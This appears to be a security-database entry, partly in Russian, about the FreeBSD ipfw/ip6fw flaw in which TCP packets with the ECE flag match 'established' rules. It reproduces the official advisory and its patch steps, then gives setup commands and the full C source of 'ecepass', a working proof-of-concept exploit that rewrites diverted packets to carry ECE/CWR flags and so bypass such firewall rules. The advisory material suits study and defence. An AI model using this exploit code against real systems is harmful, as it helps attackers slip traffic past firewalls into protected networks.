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Описание: Вследствие перегрузки зарезервированного поля флагов TCP , ipfw и ip6fw некорректно обрабатывают все пакеты, содержащие флаг ECE, рассматривая их как являющиеся частью установленного TCP соединения. Поэтому такие пакеты удовлетворяют соответствующему правилу ipfw, содержащему спецификатор ''established', даже если пакет на самом деле не является частью установленного соединения. 

Флаг ECE в сетевых приложениях используется относительно редко. Основное его применение - расширения TCP для определения перегрузок в сетях. 

Данной уязвимости подвержены только системы, использующие правила в ipfw или ip6fw со спецификатором 'established'.Например, "allow tcp from any to any established". Вообще говоря, наличие подобных правил является всего лишь необходимым условием успеха атаки. Окончательный вывод об уязвимости отдельно взятой системы может дать только дополнительный анализ всей совокупности правил ipfw. 
Affected products: 

FREEBSD:FreeBSD 4.2

FREEBSD:FreeBSD 3.5

Original text: FREEBSD, Security Advisory: FreeBSD-SA-01:08.ipfw 

Related files: ecepass - proof of concept code for FreeBSD ipfw bypass
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FreeBSD-SA-01:08                                           Security Advisory

                                                                FreeBSD, Inc.

Topic:          ipfw/ip6fw allows bypassing of 'established' keyword

Category:       core

Module:         kernel

Announced:      2001-01-23

Credits:        Aragon Gouveia <aragon@phat.za.net>

Affects:        FreeBSD 3.x (all releases), FreeBSD 4.x (all releases),

                FreeBSD 3.5-STABLE and 4.2-STABLE prior to the

                correction date.

Corrected:      2001-01-09 (FreeBSD 4.2-STABLE)

                2001-01-12 (FreeBSD 3.5-STABLE)

FreeBSD only:   Yes

I.   Background

ipfw is a system facility which allows IP packet filtering,

redirecting, and traffic accounting.  ip6fw is the corresponding

utility for IPv6 networks, included in FreeBSD 4.0 and above.  It is

based on an old version of ipfw and does not contain as many features.

II.  Problem Description

Due to overloading of the TCP reserved flags field, ipfw and ip6fw

incorrectly treat all TCP packets with the ECE flag set as being part

of an established TCP connection, which will therefore match a

corresponding ipfw rule containing the 'established' qualifier, even

if the packet is not part of an established connection.

The ECE flag is not believed to be in common use on the Internet at

present, but is part of an experimental extension to TCP for

congestion notification.  At least one other major operating system

will emit TCP packets with the ECE flag set under certain operating

conditions.

Only systems which have enabled ipfw or ip6fw and use a ruleset

containing TCP rules which make use of the 'established' qualifier,

such as "allow tcp from any to any established", are vulnerable.  The

exact impact of the vulnerability on such systems is undetermined and

depends on the exact ruleset in use.

All released versions of FreeBSD prior to the correction date

including FreeBSD 3.5.1 and FreeBSD 4.2 are vulnerable, but it was

corrected prior to the (future) release of FreeBSD 4.3.

III. Impact

Remote attackers who construct TCP packets with the ECE flag set may

bypass certain ipfw rules, allowing them to potentially circumvent

the firewall.

IV.  Workaround

Because the vulnerability only affects 'established' rules and ECE-

flagged TCP packets, this vulnerability can be removed by adjusting

the system's rulesets.  In general, it is possible to express most

'established' rules in terms of a general TCP rule (with no TCP flag

qualifications) and a 'setup' rule, but may require some restructuring

and renumbering of the ruleset.

V.   Solution

One of the following:

1) Upgrade the vulnerable FreeBSD system to FreeBSD 3.5-STABLE, or

or 4.2-STABLE after the correction date.

2) Patch your present system by downloading the relevant patch from the

below location:

[FreeBSD 4.x]

# fetch ftp://ftp.FreeBSD.org/pub/FreeBSD/CERT/patches/SA-01:08/ipfw-4.x.patch

# fetch

ftp://ftp.FreeBSD.org/pub/FreeBSD/CERT/patches/SA-01:08/ipfw-4.x.patch.asc

[FreeBSD 3.x]

# fetch ftp://ftp.FreeBSD.org/pub/FreeBSD/CERT/patches/SA-01:08/ipfw-3.x.patch

# fetch

ftp://ftp.FreeBSD.org/pub/FreeBSD/CERT/patches/SA-01:08/ipfw-3.x.patch.asc

Verify the detached PGP signature using your PGP utility.

Execute the following commands as root:

# cd /usr/src

# patch -p < /path/to/patch

# cp /usr/src/sys/netinet/tcp.h /usr/src/sys/netinet/ip_fw.h

/usr/include/netinet/

# cd /usr/src/sbin/ipfw

# make depend && make all install

# cd /usr/src/sys/modules/ipfw

# make depend && make all install

For 4.x systems, perform the following additional steps:

# cp /usr/src/sys/netinet6/ip6_fw.h /usr/include/netinet6/

# cd /usr/src/sbin/ip6fw

# make depend && make all install

# cd /usr/src/sys/modules/ip6fw

# make depend && make all install

NOTE: The ip6fw patches have not yet been tested but are believed to

be correct.  The ip6fw software is not currently maintained and may be

removed in a future release.

If the system is using the ipfw or ip6fw kernel modules (see

kldstat(8)), the module may be unloaded and the corrected module

loaded into the kernel using kldload(8)/kldunload(8).  This will

require that the firewall rules be reloaded, usually be executing the

/etc/rc.firewall script.  Because the loading of the ipfw or ip6fw

module will result in the system denying all packets by default, this

should only be attempted when accessing the system via console or by

careful use of a command such as:

# kldload ipfw && sh /etc/rc.firewall

which performs both operations sequentially.

Otherwise, if the system has ipfw or ip6fw compiled into the kernel,

the kernel will also have to be recompiled and installed, and the

system will have to be rebooted for the changes to take effect.
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Через правило divert FreeBSD, весь исходящий трафик(т.е. исходящий трафик, вообще говоря, прощедший фильтрацию, определенную правилами ipfw) будет перенаправлен на обработку процессу ecepass - во все пакеты будет вставлен флаг ECE. Трафик направленный на хосты, которые защищает ipfw, будет свободно проходить в охраняемую подсеть , если в наборе правил ipfw есть правило "allow all from any to any established". 

Условия и процесс атаки 

1. Ядро должно быть скомпилировано со следущими опциями: 

options         IPDIVERT

options         IPFIREWALL

2. gcc -o ecepass ecepass.c

3. ./ecepass &

4. ipfw add 5 divert 7000 tcp from any to any

5.  Все TCP пакеты будут содержать флаг ECE.

Замечания:

- дополнительно необходимо убедиться, что последнее правило файрвола позволяет трафик, например 

00001 divert 7000 tcp from any to any

65535 allow ip from any to any

- поскольку exploit использует "ipfw divert",правило специфическое для FreeBSD, то он работает только на FreeBSD. 

// FreeBSD ipfw + TCP ECE flag exploit Plathond for Sensepost 2001/01/25
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#define DIVERT_PORT 7000

#define FALSE 0

#define TRUE  1

#define CKSUM_CARRY(x) \

    (x = (x >> 16) + (x & 0xffff), (~(x + (x >> 16)) & 0xffff))

typedef unsigned char Boolean;

static unsigned char pbuf[IP_MAXPACKET];

static unsigned long plen = 0;

static int psock = -1;

static struct sockaddr_in paddr;

/* 

 * These are stolen from libnet.

 */

int in_cksum(u_short *addr, int len)

{

  int sum;

  int nleft;

  u_short ans;

  u_short *w;

  sum = 0;

  ans = 0;

  nleft = len;

  w = addr;

  while (nleft > 1) {

    sum += *w++;

    nleft -= 2;

  }

  if (nleft == 1) {

    *(u_char *)(&ans) = *(u_char *)w;

    sum += ans;

  }

  return (sum);

}

void do_cksum(unsigned char *buf, int protocol, int len)

{

  struct ip *ip;

  unsigned long ip_hl = 0;

  unsigned long sum = 0;

  ip = (struct ip *)buf;

  ip_hl = ip->ip_hl << 2;

  switch(protocol) {

    case IPPROTO_TCP: {

      struct tcphdr *tcp;

      tcp = (struct tcphdr *)(buf + ip_hl);

      tcp->th_sum = 0;

      sum = in_cksum((u_short *)&(ip->ip_src), 8);

      sum += ntohs(IPPROTO_TCP + len);

      sum += in_cksum((u_short *)tcp, len);

      tcp->th_sum = CKSUM_CARRY(sum);

      break;

    }

    default:

      return;

  }

  return;

}

void flushpacket(int fd)

{

  int nR;

  nR = sendto(fd, 

              pbuf,

              plen,

              0,

              (struct sockaddr*) &paddr,

              sizeof(paddr));

  if (nR != plen) {

    if (errno == ENOBUFS)

      return;

    if (errno == EMSGSIZE) {

      fprintf(stderr, "Need to implement frag.\n");

      return;

    }

    else {

      fprintf(stderr, "Failed to write packet.\n");

      return;

    }

  }

  psock = -1;

}

void handle_input(int sock)

{

  int nR = 0;

  int addrsize = 0;

  struct ip *ip;

  Boolean fIsOutput = FALSE;

  unsigned int ip_hl = 0, tcp_hl = 0;

  unsigned int ip_data_len = 0;

  struct tcphdr *tcp = NULL;

  addrsize = sizeof(struct sockaddr_in);

  nR = recvfrom(sock, 

                pbuf, sizeof(pbuf), 0,

                (struct sockaddr *)&paddr,

                &addrsize);

  if (nR == -1) {

    if (errno != EINTR) 

      fprintf(stderr, "Warning : recvfrom() failed.\n");

    goto over;

  }

  ip = (struct ip *)pbuf;

  ip_hl = ip->ip_hl << 2;

  /* Check if this is input or output */

  if (paddr.sin_addr.s_addr == INADDR_ANY)

    fIsOutput = TRUE;

  else

    fIsOutput = FALSE;

  /* We are only handling TCP packets */

  if (ip->ip_p != IPPROTO_TCP)

    goto over;

  /* Get the TCP header */

  tcp = (struct tcphdr *) (pbuf + ip_hl);

  tcp_hl = tcp->th_off << 2;

  ip_data_len = ntohs(ip->ip_len) - ip_hl;

  /* Sanity check packet length */

  if (ip_data_len <= 0)

    goto over;

  /* Add ECE and CWR flags to TCP header */

  tcp->th_flags |= (0x40 | 0x80);

  /* Compute new checksum */

  do_cksum(pbuf, IPPROTO_TCP, ip_data_len);

  /* Write packet back */

  plen = nR;

  psock = sock;

  flushpacket(sock);

  over:

  return;

}

int main(int argc, char **argv)

{

  int inoutsock = -1;

  fd_set rfs, wfs;

  int fdmax = -1;

  struct sockaddr_in addr;

  int rc;

  /* Create divert sockets */

  if ((inoutsock = socket(PF_INET, SOCK_RAW, IPPROTO_DIVERT)) == -1) {

    fprintf(stderr, "socket() failed, exiting\n");

    exit(1);

  }

  /* Bind socket */

  addr.sin_family= AF_INET;

  addr.sin_addr.s_addr= INADDR_ANY;

  addr.sin_port= ntohs(DIVERT_PORT);

  if (bind(inoutsock, 

           (struct sockaddr*) &addr,

           sizeof(struct sockaddr_in)) == -1) {

    fprintf(stderr, "Unable to bind socket, exiting\n");

    exit(1);

  }

  while (1) {

    FD_ZERO(&rfs);

    FD_ZERO(&wfs);

    if (psock != -1) 

      FD_SET(psock, &wfs);

    FD_SET(inoutsock, &rfs);

    if (inoutsock > psock)

      fdmax = inoutsock;

    else

      fdmax = psock;

    /* Select loop */

    rc = select(fdmax + 1, &rfs, &wfs, NULL, NULL);

    if (rc == -1) {

      if (errno == EINTR)

        continue;

      fprintf(stderr, "select() failed, exiting\n");

      exit(1);

    }

    /* Check for flush from previous packet */

    if (psock != -1) {

      if (FD_ISSET(psock, &wfs))

        flushpacket(psock);

    }

    /* Do we have input available ? */

    if (FD_ISSET(inoutsock, &rfs)) {

      /* Yip, handle it */

      handle_input(inoutsock);

    }

  }

}
